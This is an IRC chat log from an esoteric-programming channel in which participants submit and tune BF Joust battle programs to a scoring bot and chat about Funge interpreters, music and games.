19:15:01 <elliott> Vorpal: OK, I'll just release Shiro 1.0: "Totally Better Than cfunge".
19:15:07 <elliott> Deewiant: I hate special cases :P
19:15:11 <elliott> (i.e. cardinality)
19:15:33 <Deewiant> Fair warning: rayIntersects is 250 lines long, more than half of that being comments
19:15:42 <Vorpal> elliott, well you are free to code name them whatever you want. Besides cfunge was 0.99 or such last I checked. Meaning it never claimed to be as stable as a 1,0
19:15:45 <Vorpal> 1.0*
19:16:20 <Vorpal> or as good even
19:18:13 <elliott> Deewiant: I'm reading this and my mind has basically turned off.
19:18:20 <Deewiant> :-)
19:18:28 <ais523> !bfjoust decoybooster (>)*8(+)*128(<(+)*128)*7(>)*7([(+)*5[-]]>)*21
19:18:32 <elliott> Deewiant: Kudos, though :P
19:18:39 <EgoBot> Score for ais523_decoybooster: 9.6
19:18:40 <Deewiant> Cheers :-P
19:18:40 <ais523> aha, the offset clear was just /too/ offset
19:18:48 <ais523> to beat even simple programs
19:18:50 <Deewiant> elliott: If you can O(1) that too I'd appreciate it
19:18:59 <elliott> Deewiant: Gee, that sounds like fun.
19:19:13 <elliott> copumpkin: Ha, Data.Lenses doesn't wrap Accessor.
19:19:42 <elliott> Deewiant: I think yours might be inherently >O(1).
19:19:48 <elliott> Deewiant: Because of your multiple-bounding-box stuff.
19:20:02 <Deewiant> rayIntersects only works on one box
19:20:33 <ais523> !bfjoust decoybooster (>)*8(+)*64<(-)*64(<(-)*64<(+)*64)*3(>)*7([(+)*5[-]]>)*21
19:20:49 <Deewiant> But it's O(width of box) or something in the pathological case
19:20:57 <elliott> Deewiant: Couldn't you use my wrap, then?
19:21:05 <elliott> Or at least a modified version of it.
19:21:06 <EgoBot> Score for ais523_decoybooster: 10.0
19:21:17 <Deewiant> Your wrap solves a different problem
19:21:28 <elliott> Yes, it does.
19:21:33 <elliott> But it might be vaguely applicable :P
19:21:46 <Deewiant> Again, I'd appreciate it if you can figure it out ;-)
19:21:59 <elliott> Deewiant: I think you're vastly more qualified than me.
19:22:13 <ais523> !bfjoust decoybooster (>)*7<(-)*64(<(-)*64<(+)*64)*3(>)*7([(+)*5[-]]>)*21
19:22:21 <EgoBot> Score for ais523_decoybooster: 13.7
19:22:43 <ais523> !bfjoust decoybooster (>)*7(-)*64(<(-)*64<(+)*64)*3(>)*7([(+)*5[-]]>)*21
19:22:53 <EgoBot> Score for ais523_decoybooster: 15.9
19:23:35 <ais523> decoybooster's beating more than it's losing to, but it's still last :)
19:23:40 -!- augur has quit (Remote host closed the connection).
19:23:43 <ais523> !bfjoust decoybooster (>)*7(-)*64(<(-)*64<(+)*64)*3(>)*7([(+)*5[-.]]>)*21
19:23:51 <EgoBot> Score for ais523_decoybooster: 30.6
19:24:47 <ais523> whereas that made it beat fewer programs, but better programs, as I put a counter-defence offset clear in there
19:24:48 <Gregor> http://codu.org/eso/bfjoust/breakdown.txt <-- for your viewing pleasure, the breakdown for the latest program submitted.
19:24:56 <ais523> yay, thanks
19:25:23 <ais523> the < and > refer to the winner with each length?
19:25:29 <Deewiant> And X is a tie?
19:25:45 <Gregor> The confusotron is divided by polarities then tape lengths (space separates polarities), < is left won, > is right won, X is tie
19:25:47 <Gregor> Yeah
19:26:13 <ais523> I suppose you could break it down further by win reason, but that might be a little ridiculous
19:26:25 <elliott> decoybooster won against EVERYTHING?
19:26:26 <Gregor> Donwanna :P
19:26:32 <elliott> oh, no
19:26:37 <ais523> no, not everything
19:26:41 <elliott> !bfjoust talisman <
19:26:44 <EgoBot> Score for elliott_talisman: 0.0
19:26:48 <elliott> http://codu.org/eso/bfjoust/breakdown.txt :D
19:26:52 <ais523> I could tweak it slightly to beat rushpolarity if I wanted to, but that feals like cheating
19:27:12 <Deewiant> Gregor: Want to print the counts of <>X?
19:27:21 <Gregor> Deewiant: Nopw.
19:27:23 <Gregor> *Nope
19:27:23 <elliott> Gregor: Err, why do you do four polarities?
19:27:25 <elliott> It should only take two.
19:27:29 <Deewiant> elliott: -- -+ +- ++
19:27:36 <elliott> Yes, but +- -+ should be enough.
19:27:37 <Gregor> elliott: To quote "SCORES" "for, uhh, completeness?"
19:27:41 <elliott> :-D
19:28:02 <elliott> Deewiant: Holy shit cfunge is slow at fungicide.
19:28:05 <nescience> tweak it :P may as well!
19:28:31 <Deewiant> elliott: Lookup tables are :-P
19:28:32 <elliott> Deewiant: BTW, the graphs show in little tiny windows for me.
19:28:49 <elliott> Little tiny scrollable windows.
19:29:07 <elliott> :D @ mebioctets
19:29:51 <Deewiant> If your browser can't handle <object type="image/svg+xml"> then I weep for it
19:31:04 <Gregor> Heywait, the flag is always 127, right? Regardless of polarity? (I should be telling this, not asking it :P )
19:31:16 <ais523> Gregor: 128
19:31:23 <Gregor> Oh :P
19:31:27 <Gregor> Well that makes more sense X-P
19:31:30 <ais523> which == -128, ofc
19:31:36 <Gregor> Yuh
19:31:45 <Gregor> You see where I was going with my totally-wrong thought though :P
19:31:51 <ais523> tape[0] = tape[tapelen-1] = 128;
19:32:57 <ais523> I'll leave decoybooster there, I think
19:32:59 <coppro> !bfjoust dumdum (>(+)*254)*100
19:33:05 <EgoBot> Score for coppro_dumdum: 0.0
19:33:07 <Deewiant> elliott: cfunge mostly loses total time due to fork.b98 though, which has since been fixed AFAIK
19:33:08 <coppro> :(
19:33:10 <Gregor> lol
19:33:15 <ais523> coppro: two-cycle rules
19:33:19 <elliott> <Deewiant> If your browser can't handle <object type="image/svg+xml"> then I weep for it
19:33:19 <elliott> It does
19:33:23 <elliott> It just doesn't make them the right size
19:33:24 <elliott> (Chrome)
19:33:27 <coppro> ais523:
19:33:30 <Vorpal> Deewiant, indeed it has been fixed
19:33:33 <Gregor> pooppy: It tied against defend7 :P
19:33:35 <coppro> err, d'oh
19:33:41 <coppro> !bfjoust dumdum (>(+<>)*254)*100
19:33:41 <ais523> it's a tactic that hasn't been used much yet (the only other program I've seen do something remoately similar is myndzi/nescience's 3pass, which is not really the same)
19:33:46 <EgoBot> Score for coppro_dumdum: 18.9
19:33:49 <coppro> O_o
19:33:51 <ais523> also, you can use . to wait a cycle
19:34:00 <coppro> !bfjoust dumdumwait (>(+.)*254)*100
19:34:05 <EgoBot> Score for coppro_dumdumwait: 11.6
19:34:13 <coppro> dumdum is a champ
19:34:14 <ais523> strange how being slower and stupider worked better
19:34:19 <ais523> I recommend .. over <>, anyway
19:34:23 <Gregor> ais523_tripstridewire.bfjoust vs coppro_dumdumwait.bfjoust:
19:34:24 <Gregor> <<><><><><><><><><><< <<><><><><><><><><><< <<><><><><><><><><><< <<><><><><><><><><><<
19:34:25 <Gregor> lol
19:34:28 <coppro> !bfjoust dumdum (>(+..)*254)*100
19:34:34 <ais523> Gregor: tripstridewire's like that
19:34:34 <EgoBot> Score for coppro_dumdum: 18.9
19:34:44 <coppro> I am amazed such a dumb program does so well
19:34:56 <ais523> it tends to win just over or just under 50%; it's an exploit on the scoring system, really
19:35:20 <Gregor> Getting 18.9 does not count as an exploit in anything :P
19:35:39 <ais523> Gregor: tripstridewire has 28.4
19:35:48 <ais523> despite not actually being very good
19:35:59 <Gregor> Oh, I thought you were talking about dumdum :P
19:36:14 <Gregor> lol, it has negative points and a decent score X-D
19:36:33 <ais523> coppro: aha, the difference between .. and . is that .. is the simplest timing that defeats my defence programs
19:36:34 <elliott> copumpkin: I think I regret rolling my own :P
19:36:47 <quintopia> Gregor: let us make awesome things by making sure that ] happens after cells get updated on the current cycle >_>
19:36:48 <ais523> I should come up with a defend11 that can beat a three-cycle clear, somehow
19:37:07 <elliott> quintopia: That's a bug that was fixed.
19:37:07 <ais523> that would be an actual substantive rules change; I'm not sure what to do about those on an old hill
19:37:11 <Gregor> quintopia: I'm not changing the rules ...
19:37:18 <elliott> CHANGE
19:37:18 <elliott> EVERY
19:37:19 <elliott> RULE
19:37:20 <quintopia> Gregor: twas a joke, dogg
19:37:21 <ais523> elliott: quintopia wants to exploit it
19:37:25 <elliott> ais523: obviously
19:37:41 <ais523> oh right, the []++++++ programs were /too/ good, weren't they?
19:37:51 <ais523> and crowded out all the competition
19:37:58 <Gregor> !bfjoust wtf_do_I_think_Im_doing +[[(++.)*100]+]
19:38:14 <EgoBot> Score for Gregor_wtf_do_I_think_Im_doing: 8.8
19:38:24 <Deewiant> !bfjoust monorail (>+>-)*1>++>([(-)*9[+]]>)*20
19:38:29 <Gregor> Hah, I love defend v defend scores :P
19:38:30 <EgoBot> Score for Deewiant_monorail: 2.9
19:38:40 <Deewiant> !bfjoust monorail (>+>-)*4>++>([(-)*9[+]]>)*20
19:38:52 <EgoBot> Score for Deewiant_monorail: 24.3
19:39:01 <ais523> wow what happened to monorail
19:39:04 <ais523> oh, Deewiant changed it
19:39:13 <Deewiant> And back again
19:39:18 <ais523> I was wondering how it suddenly dropped right down the rankings after being there for years
19:39:38 <elliott> @hoogle Int -> a -> [a] -> [a]
19:39:38 <lambdabot> Network.CGI.Protocol replace :: Eq a => a -> a -> [a] -> [a]
19:39:39 <lambdabot> Prelude enumFromThenTo :: Enum a => a -> a -> a -> [a]
19:39:39 <lambdabot> Data.IntMap findWithDefault :: a -> Key -> IntMap a -> a
19:39:41 <Deewiant> Oh, woops
19:39:42 <quintopia> oh that's what monorail does. how very simple.
19:39:46 <elliott> hmph
19:39:56 <Deewiant> !bfjoust monorail (>+>-)*1>++>([(-)*9[+]]>)*26
19:40:03 <ais523> quintopia: it is /just/ decoy, offset clear, defense detector
19:40:07 <EgoBot> Score for Deewiant_monorail: 6.3
19:40:09 <ais523> nice to see a program that simple do reasonably well
19:40:11 <Deewiant> Oh well
19:40:15 <Deewiant> !bfjoust monorail (>+>-)*4>++>([(-)*9[+]]>)*20
19:40:20 <EgoBot> Score for Deewiant_monorail: 24.3
19:40:56 <ais523> I'm beginning to think that all programs should use defence detectors
19:41:02 <Deewiant> !bfjoust steamroller (>+>-)*4>++>([(-.)*9[+...]]>)*20
19:41:05 <EgoBot> Score for Deewiant_steamroller: 17.4
19:41:18 <Gregor> !bfjoust defend_enemy_turf (>)*10(+)*128[[](+)*128]
19:41:18 <ais523> because they hardly cost anything and can really help
19:41:25 <quintopia> !bfjoust slowmonorail (>+>-)*4>++>([(..-)*20[+]]>)*20
19:41:33 <Gregor> Yowza
19:41:49 <Deewiant> Heh, steamroller beat only defend7, defend10, and chainmail, all of which beat monorail
19:42:01 <EgoBot> Score for Gregor_defend_enemy_turf: 1.8
19:42:01 <EgoBot> Score for quintopia_slowmonorail: 19.9
19:42:06 <quintopia> hmm
19:42:10 <Deewiant> !bfjoust steamroller (>+>-)*4>++>([(-)*9[+...]]>)*20
19:42:15 <EgoBot> Score for Deewiant_steamroller: 17.4
19:42:20 <elliott> @hoogle MonadState
19:42:20 <lambdabot> No results found
19:42:36 <quintopia> Deewiant: did it beat slowmonorail?
19:42:42 <Deewiant> Didn't check
19:42:44 <Deewiant> !bfjoust steamroller (>+>-)*4>++>([(-)*9[+..]]>)*20
19:42:48 <EgoBot> Score for Deewiant_steamroller: 6.6
19:42:51 <Deewiant> !bfjoust steamroller (>+>-)*4>++>([(-)*9[+.]]>)*20
19:42:59 <EgoBot> Score for Deewiant_steamroller: 19.7
19:43:02 <Deewiant> !bfjoust steamroller (>+>-)*4>++>([(-)*9[+....]]>)*20
19:43:10 <Gregor> BFJoust really ought to have threads.
19:43:17 <EgoBot> Score for Deewiant_steamroller: 0.0
19:43:20 <Deewiant> heh
19:43:24 <quintopia> Gregor: bf multi joust!
19:43:30 <Deewiant> !bfjoust steamroller (>+>-)*4>++>([(-)*9[...+]]>)*20
19:43:33 <EgoBot> Score for Deewiant_steamroller: 18.1
19:43:37 <Deewiant> !bfjoust steamroller (>+>-)*4>++>([(-)*9[.+]]>)*20
19:43:41 <EgoBot> Score for Deewiant_steamroller: 18.1
19:44:03 <Deewiant> !bfjoust steamroller (>+>-)*4>++>([(.-)*9[+]]>)*20
19:44:09 <EgoBot> Score for Deewiant_steamroller: 16.2
19:44:11 <ais523> I think we're getting a genuine stone-paper-scissors in BF Joust
19:44:20 <ais523> fast attack beats slow attack beats defence beats fast attack
19:44:34 <Deewiant> !bfjoust steamroller (>+>-)*4>++>([(-+-)*9[.+]]>)*20
19:44:37 <EgoBot> Score for Deewiant_steamroller: 18.1
19:44:44 <Deewiant> !bfjoust steamroller (>+>-)*4>++>([(-+-)*9[+.]]>)*20
19:44:49 <EgoBot> Score for Deewiant_steamroller: 18.1
19:44:57 <quintopia> ais523: is it possible to combine slow attack and defense?
19:44:58 <Deewiant> !bfjoust steamroller (>+>-)*4>++>([(-)*9[+.]]>)*20
19:45:07 <EgoBot> Score for Deewiant_steamroller: 18.1
19:45:08 <ais523> quintopia: nescience was discussing that earlier
19:45:10 <Deewiant> Oh well
19:45:11 <ais523> the answer is, I'm not sure
19:45:28 <ais523> although decoybooster was inspired by the conversation, it uses a different principle
19:45:35 <ais523> (that of using decoys to set up bigger decoys)
19:45:37 <elliott> This is ridiculous, I'm just reinventing data-accessor
19:45:46 <Deewiant> !bfjoust steamroller (>+>-)*4>++>([(-)*3[+.]]>)*20
19:45:48 <EgoBot> Score for Deewiant_steamroller: 18.8
19:46:00 -!- kar8nga has joined.
19:46:08 <Deewiant> !bfjoust monorail (>+>-)*4>++>([(-)*3[+]]>)*20
19:46:19 <EgoBot> Score for Deewiant_monorail: 18.4
19:46:27 <Deewiant> !bfjoust monorail (>+>-)*4>++>([(-)*10[+]]>)*20
19:46:33 <EgoBot> Score for Deewiant_monorail: 21.6
19:46:37 <Gregor> !bfjoust specifically_defeat_defend10_and_in_only_one_polarity (>)*9-[>-]>>[-]
19:46:46 <EgoBot> Score for Gregor_specifically_defeat_defend10_and_in_only_one_polarity: 0.2
19:46:50 <quintopia> lul
19:46:50 <Gregor> lol
19:47:12 <Deewiant> !bfjoust monorail (>+>-)*4>++>([(-)*11[+]]>)*20
19:47:18 <EgoBot> Score for Deewiant_monorail: 19.0
19:47:24 <Gregor> !bfjoust specifically_defeat_defend10_and_in_only_one_polarity (>)*7-[>-]>>[-]
19:47:30 <EgoBot> Score for Gregor_specifically_defeat_defend10_and_in_only_one_polarity: 0.0
19:47:38 <Deewiant> !bfjoust monorail (>+>-)*4>++>([(-)*9[+]]>)*20
19:47:42 <Gregor> YESSS
19:47:45 <EgoBot> Score for Deewiant_monorail: 22.2
19:47:50 <nescience> if you make the hill bigger we should go back and fetch some variety
19:47:52 <Gregor> Gregor_specifically_defeat_defend10_and_in_only_one_polarity.bfjoust vs ais523_defend10.bfjoust:
19:47:52 <Gregor> <<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>> <<<<<<<<<<<<<<<<<<<<<
19:47:55 <Gregor> Can you say PERFECTION?
19:48:02 <nescience> lol
19:48:03 <Deewiant> !bfjoust steamroller (>+>-)*4>++>([(-)*4[+.]]>)*20
19:48:05 <nescience> nice
19:48:06 <EgoBot> Score for Deewiant_steamroller: 18.1
19:48:12 <ais523> Gregor: haha
19:48:16 <Gregor> nescience, ais523: How big would you like the hill?
19:48:17 <ais523> did it beat anything /else/?
19:48:34 <ais523> Gregor: I'd say 30 or maybe 40
19:48:44 <Gregor> ais523: Why no, it defeated nothing else :P
19:48:50 <nescience> no idea.. big enough that interesting programs have a chance to stay on when people screw around
19:48:54 <Gregor> And it didn't beat defend10 either, it tied since it's polarity-specific :P
19:49:12 <nescience> and or maybe change the scoring to not be dependent on the score of the program that lost?
19:49:16 <quintopia> !bfjoust slowmonorail (>+>-)*4>++>([(..-)*20[..+]]>)*20
19:49:20 <EgoBot> Score for quintopia_slowmonorail: 7.1
19:49:21 <nescience> didn't we try that before though?
19:49:27 <ais523> nescience: THE SCORING IS PERFECT, DO NOT QUESTION IT
19:49:27 <quintopia> !bfjoust slowmonorail (>+>-)*4>++>([(..-)*20[+]]>)*20
19:49:31 <EgoBot> Score for quintopia_slowmonorail: 19.3
19:49:39 <Gregor> nescience: ... what does that mean?
19:49:43 <ais523> (and actually I rather like the way the scoring atm works, it makes abuse quite difficult)
19:49:50 <quintopia> !bfjoust slowmonorail (>+>-)*4>++>([(..-)*9[+]]>)*20
19:49:54 <EgoBot> Score for quintopia_slowmonorail: 10.1
19:49:59 <nescience> lol
19:50:03 <quintopia> !bfjoust slowmonorail (>+>-)*4>++>([(..-)*3[+]]>)*20
19:50:07 <EgoBot> Score for quintopia_slowmonorail: 16.2
19:50:09 <Phantom_Hoover> Back.
19:50:16 <quintopia> !bfjoust slowmonorail (>+>-)*4>++>([(..-)*20[+]]>)*20
19:50:19 <nescience> weren't you talking about getting o.n the hill just by targeting specific programs?
19:50:20 <quintopia> that's so weird
19:50:20 <EgoBot> Score for quintopia_slowmonorail: 19.3
19:50:20 <Phantom_Hoover> Still at the BF Joust‽
19:50:34 <ais523> nescience: and Gregor's program didn't get on the hill
19:50:36 <elliott> copumpkin: I'm travelling to Henningland
19:50:49 <tswett> _o_
19:50:52 <quintopia> ais523: you got any idea why slowmonorail works best with that particular timing
19:50:54 <elliott> tswett: o_o
19:50:55 <quintopia> ?
19:51:04 <nescience> well it was a little too specific :P
19:51:26 <tswett> myndzi\: _o_. :P
19:51:26 <myndzi\> |
19:51:26 <myndzi\> /|
19:51:32 <tswett> Oh, I see.
19:51:40 <tswett> I was too close to the left edge.
19:51:57 <Gregor> !bfjoust specifically_defeat_defend10_and_in_only_one_polarity (>)*7-[>-]>>[-]
19:52:00 <EgoBot> Score for Gregor_specifically_defeat_defend10_and_in_only_one_polarity: 0.0
19:52:24 <Gregor> !bfjoust lets_fill_the_newly_resized_hill_with_stupid_garbage <
19:52:27 <EgoBot> Score for Gregor_lets_fill_the_newly_resized_hill_with_stupid_garbage: 0.0
19:52:38 <quintopia> the hill is bigger?
19:52:41 <tswett> Anyway, _o_ is the pose one of the disciples in Caravaggio's "The Supper at Emmaus" makes when he realizes he's sitting next to Jesus.
19:52:41 <myndzi\> |
19:52:41 <myndzi\> /<
19:52:42 <quintopia> how much?
19:52:49 <Gregor> You'll just have to find out :P
19:52:51 <tswett> He goes "Holy crap!" and sticks his arms out.
19:52:59 <ais523> I'll submit some of my old ones
19:53:07 <ais523> !bfjoust tripwire_sensor >+>+++>+<[]<(.)*48[<(+)*100000]<(-)*100000
19:53:12 <elliott> tswett: Who's Jesus.
19:53:26 <quintopia> !bfjoust nop .
19:53:27 <tswett> elliott: a character in European mythology.
19:53:34 <EgoBot> Score for ais523_tripwire_sensor: 5.2
19:53:37 <ais523> !bfjoust defend9 http://sprunge.us/TjjN
19:53:40 <elliott> Why'd you make the jesus-look
19:53:46 <EgoBot> Score for quintopia_nop: 9.5
19:53:54 <tswett> To show what the jesus-look looks like.
19:54:01 <tswett> Gregor: what are your rates as a pianist?
19:54:10 <quintopia> he can't piano!
19:54:11 <Gregor> Depends on what I'm asked to play.
19:54:12 <quintopia> :P
19:54:20 <quintopia> Gregor: chopsticks?
19:54:36 <Gregor> quintopia: $16,000 for a low-quality MIDI with no inflection.
19:54:56 <quintopia> reasonable
19:55:08 <ais523> Gregor: Gregor_specifically_defeat_defend10_and_in_only_one_polarity.bfjoust seems to beat defend10 overall; does it draw the other polarity?
19:55:19 <ais523> also, I probably shouldn't have put defend9 on the hill, I forgot how evilly CPU-intensive it was
19:55:24 <Gregor> ais523: No, it wanders off the end and loses :P
19:55:32 <ais523> so how does it win overall?
19:55:41 <Gregor> ais523: It doesn't.
19:55:50 <ais523> (I'm checking an old report while the current one generates, perhaps it was a buggy version of the program)
19:56:03 <Gregor> Oh, yeah, the one where it got a 0.2 did stupid stuff.
19:56:15 <tswett> Gregor: it's about as simple as Mozart's Minuet in F, K. 2.
19:56:16 <Gregor> The "correct" version gets 0.0 X-P
19:56:17 <tswett> Yes, two.
19:56:40 <EgoBot> Score for ais523_defend9: 30.1
19:56:52 <Gregor> Crap sandwiches man, that's a good score too.
19:57:02 <Gregor> (In principle it shouldn't be so bad in the future since it caches :P )
19:57:13 <ais523> Gregor: it was on the hill for ages, it only fell off recently
19:57:22 <ais523> and I wanted to see how it did in the current environment
19:57:33 <ais523> it was ahead of defend7 for quite a while until people started exploiting it
19:57:46 -!- augur has joined.
19:58:12 <ais523> and it's way behind the other defenders, so obviously it's not smart eno
19:58:24 <ais523> *so obviously it's not smart enough to survive in the current environment
19:58:28 <ais523> I blame the rise of offset clears
19:58:41 <tswett> Gregor: about as simple, half as short, and probably worse.
19:58:52 <Gregor> "half as short", so twice the length?
19:58:57 <Gregor> <trollface />
19:59:18 <quintopia> that's actually the way i read it
19:59:32 <quintopia> ambiguity of language: don't do it
19:59:36 <tswett> Yes, if you play it a quarter times as slowly.
19:59:48 <quintopia> AGH
19:59:54 <quintopia> STOP IT :P
19:59:59 <Gregor> So, it's double as long if you play it four times faster than it ought to be played?
20:00:16 <Gregor> Good lord, are you asking me to play Handel's Messiah?
20:00:20 <Gregor> (for Piano)
20:00:26 <olsner> Gregor: yes, if it takes half the time
20:00:33 <quintopia> so length increase at normal speeds is 8x?
20:00:35 -!- sixdej|sleep has changed nick to sixdej.
20:00:37 <quintopia> or is that 16x?
20:00:45 <Gregor> quintopia: 8x
20:00:55 <tswett> Gregor: well, that's only true if you stretch it out by a factor of one sixteenth.
20:01:20 <quintopia> oh god
20:01:26 <quintopia> now it's 48x
20:01:31 <Gregor> http://codu.org/tmp/jungle-2011-02-08-1.ogg More music going into the dustbin :P
20:01:41 <quintopia> which is ... somewhere between messiah and carmina burana?
20:01:50 <tswett> 32x, isn't it?
20:02:17 <nescience> oh you resized it eh
20:02:18 <quintopia> Gregor: this is awful
20:02:24 <quintopia> link me to superturing :P
20:02:25 <Gregor> lol
20:02:32 <nescience> inb4 people lagging it to hell with submissions
20:02:33 <Gregor> So you can complain about it too :P
20:02:44 <quintopia> superturing was awesome
20:02:47 <Gregor> nescience: ais523 already lagged it to hell.
20:03:01 <nescience> lol
20:03:04 <ais523> I didn't feel so guilty back when defend9 was the best program on the hill
20:03:05 <nescience> damn
20:03:06 <Gregor> quintopia: http://codu.org/tmp/cave-2011-02-07-2.ogg I link you to this instead.
20:03:16 <nescience> I want to fetch some of my old ones too :)
20:03:29 -!- Sgeo has joined.
20:03:32 <Gregor> nescience: Nobody's stopping you.
20:03:33 <quintopia> are these for levels in SuperTuring?
20:03:43 <Gregor> quintopia: SuperTuring is not a game :P
20:03:52 <quintopia> yes it is
20:04:01 <ais523> nescience: here's myndzi_keke2: ->>>>>>>>>(>[(-.+(-.)*256(+.)*256>)*20])*20
20:04:03 <Gregor> (But they are to be background music in a game, though jungle isn't)
20:04:03 <quintopia> it's the world's most computable platformer
20:04:10 <ais523> it's the only one by you I have handy that isn't on the current hill
20:04:20 <Gregor> quintopia: It's SUPERTuring
20:04:24 <tswett> Anyway. 48 beats, andante.
20:04:27 <quintopia> Gregor: FINE
20:04:41 <elliott> FFFFFFFFFFFFFFFFFFFFFFFUUUUUUUUUUUUUUUUUUU
20:04:57 <Deewiant> !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>-([([-])*2([+])*2>]+)*30
20:05:16 <Gregor> tswett: Send me the score later and I'll judge.
20:05:59 <ais523> Gregor: we'll have to wait for Lymia to come back and fill the hill with evoprograms
20:06:04 <quintopia> !bfjoust slowmonorail (>+>-)*4>++>([(..-)*20[+]]>)*20
20:06:09 <nescience> ha, later I'll dig through the history and see what got knocked off recentlyish
20:06:19 <tswett> http://www.cis.gvsu.edu/~swettt/music/opl1.pdf
20:06:23 <elliott> Deewiant: I swear I'll get Concurrent Funge done today.
20:06:26 <tswett> Gregor: does this count as sending it to you later? :P
20:06:38 <Gregor> tswett: No.
20:06:44 <Gregor> I'm at schwork.
20:06:46 <quintopia> !bfjoust one_o_them_shudder_thangs (--+)*384000
20:06:49 <tswett> Ah.
20:07:16 <tswett> So, how does bfjoust work? Is there a page explaining it?
20:07:19 <Gregor> Wait for something to finish first X-D
20:07:23 <Deewiant> ais523: defend9 is making this a pain :-P
20:07:28 <quintopia> Gregor: WAT GAME IS FOR
20:07:30 <Gregor> tswett: "BF Joust" on the wiki.
20:07:33 * tswett nods.
20:07:40 <Gregor> quintopia: 's in development.
20:07:40 <ais523> http://esolangs.org/wiki/BF_Joust
20:07:47 <ais523> (I have an esolangs.org shortcut in my IRC client)
20:07:51 <quintopia> Gregor: plaformer? has name?
20:08:20 <ais523> quintopia: clearly, the null string, based on Gregor's last comment
20:08:26 -!- Sgeo has quit (Ping timeout: 255 seconds).
20:08:31 <ais523> and that's a great name for a game, and probably a unique one too
20:08:32 <Gregor> quintopia: Platform/adventure. No enemies per se. No name yet. 's not my game.
20:08:48 <ais523> I suppose you could call it ": the Game" if you wanted to make it clearer
20:08:55 <quintopia> Gregor: 2d or 3d?
20:09:18 <EgoBot> Score for Deewiant_maglev: 11.6
20:09:19 <EgoBot> Score for quintopia_one_o_them_shudder_thangs: 16.2
20:09:22 <EgoBot> Score for quintopia_slowmonorail: 24.1
20:09:22 <quintopia> ais523: how about "The Best Game Named You've Ever Played"
20:09:24 <Gregor> quintopia: 2D movement in a 3D-rendered environment
20:09:35 <Gregor> ais523: But it would actually be "\0: the Game\0", so most languages wouldn't be able to display the name.
20:09:47 <Deewiant> Meh, maglev used to be good
20:09:48 <nescience> next project: distributed hill!
20:09:53 <quintopia> Gregor: null character != null string
20:10:01 <Vorpal> Deewiant, I found a way to place chests on top of each other
20:10:06 <Gregor> quintopia: Piffle
20:10:09 <Vorpal> Deewiant, if you want for your "wonders of the world"
20:10:15 <Deewiant> Feel free :-P
20:10:17 <ais523> let's name it (game)^
20:10:22 <ais523> i.e. minus the string "game"
20:10:28 -!- augur has quit (Remote host closed the connection).
20:10:38 <ais523> antitext is something I invented for Cyclexa, but perhaps it has applications elsewhere
20:10:42 <Gregor> OK, maybe defend9 IS too slow X-D
20:10:55 <ais523> Gregor: I don't mind massively if you remove it from the hill
20:11:17 <ais523> although there isn't currently a program pending
20:11:25 <quintopia> does defend9 always use up the entire 384000 cycles?
20:11:32 <ais523> no
20:11:33 <Gregor> Oh, there's not? I didn't see the scores go by :P
20:11:58 <ais523> !bfjoust scoreboard_interpreted_as_program http://codu.org/eso/bfjoust/in_egobot/report.txt
20:12:14 <Deewiant> ais523: How about !bfjoust defend9 <
20:12:15 <elliott> ais523: mingle all the program sources together and submit that
20:12:17 <quintopia> so lots of + - and .
20:12:17 <elliott> with code to balance []s
20:12:28 <EgoBot> Score for ais523_scoreboard_interpreted_as_program: 7.6
20:12:31 <ais523> Deewiant: I'll remove it if it becomes a problem
20:12:36 <ais523> but that ran quickly enough
20:12:45 <Deewiant> Hmm, true
20:12:47 <quintopia> because it sucked
20:12:58 <ais523> it beat nop
20:13:02 <Gregor> ais523: lol
20:13:04 <Vorpal> Deewiant, have you upgraded your railway for new less speedy boosters?
20:13:06 <ais523> in score, taht is
20:13:07 <ais523> *that is
20:13:12 <tswett> Gregor: the scoreboard is better than both of your programs combined.
20:13:17 * ais523 looks at the breakdown
20:13:18 <Gregor> tswett: :(
20:13:19 <tswett> Which is not saying much, since both of your programs have a negative score.
20:13:21 <Gregor> tswett: :'(
20:13:27 <Deewiant> Vorpal: I pretty much haven't touched the boosters since they were built
20:14:04 <Gregor> quintopia: There's also http://codu.org/tmp/cave-tense-2011-02-07-2.ogg , which is cave with a "tension track" added, to be faded in during tense/dangerous moments as a cue.
20:14:11 <tswett> It's better than the harmonic sum of your programs. How's that.
20:14:18 <Gregor> tswett: :'(
20:14:28 <ais523> ais523_large_decoy_attack.bfjoust vs ais523_scoreboard_interpreted_as_program.bfjoust: ><>><><<<<>><<<<>>><< >><<><<<<><<><>><<<>< >><<><<<<><<><>><<<>< ><>><><<<<>><<<<>>><< ais523_large_decoy_attack.bfjoust wins
20:14:34 <ais523> I think that's the reason
20:14:35 <Gregor> Of course, one of them loses against literally everything since its very first cycle is to step off the tape :P
20:14:46 <Deewiant> !bfjoust farmer1 [>(+)*128>(+)*128<[-]>[-]<<]
20:14:54 <ais523> the scoreboard gets intermittent wins against a program that's actually decent
20:14:59 <ais523> in fact, that's a really crazy pattern of < and >
20:15:22 <Vorpal> Deewiant, ah they still work
20:15:27 <ais523> in fact, wtf?
20:15:40 <ais523> large_decoy_attack vs. the scoreboard makes no sense at all
20:15:42 <EgoBot> Score for Deewiant_farmer1: 1.0
20:15:49 <Gregor> !bfjoust breakdown_interpreted_as_program http://codu.org/eso/bfjoust/breakdown.txt
20:15:51 <Gregor> 0.0
20:15:55 -!- augur has joined.
20:15:57 <EgoBot> Score for Gregor_breakdown_interpreted_as_program: 0.1
20:15:58 <ais523> Gregor: it probably starts with <
20:16:03 <Gregor> ais523: Yup ;)
20:16:06 <ais523> hmm, perhaps not
20:16:23 <ais523> but it goes left near the start, just late enough to beat suiciders
20:16:59 <Gregor> lol
20:17:37 <Gregor> !bfjoust log_interpreted_as_program http://tunes.org/~nef/logs/esoteric/11.02.07
20:17:39 <ais523> the scoreboard will be insane for a while until all the joke programs are pushed off
20:17:42 <tswett> Gregor: so it loses against itself?
20:17:53 <EgoBot> Score for Gregor_log_interpreted_as_program: 0.0
20:17:56 <ais523> Gregor: doesn't clog use <nick> in order to specify nicks?
20:17:58 <Gregor> Yessssssssssss
20:18:03 <Gregor> ais523: Yes :P
20:18:08 <ais523> Herobrine's logs would work better for that
20:18:18 <nescience> !bfjoust google_interpreted_as_program http://www.google.com/
20:18:29 <Deewiant> HTML tends to start with <
20:18:31 <ais523> !bfjoust herobrine_log_interpreted_as_program http://208.78.103.223/2011-02-07.txt
20:18:34 <EgoBot> Score for nescience_google_interpreted_as_program: 0.0
20:18:42 <EgoBot> Score for ais523_herobrine_log_interpreted_as_program: 0.0
20:18:42 <nescience> ya still
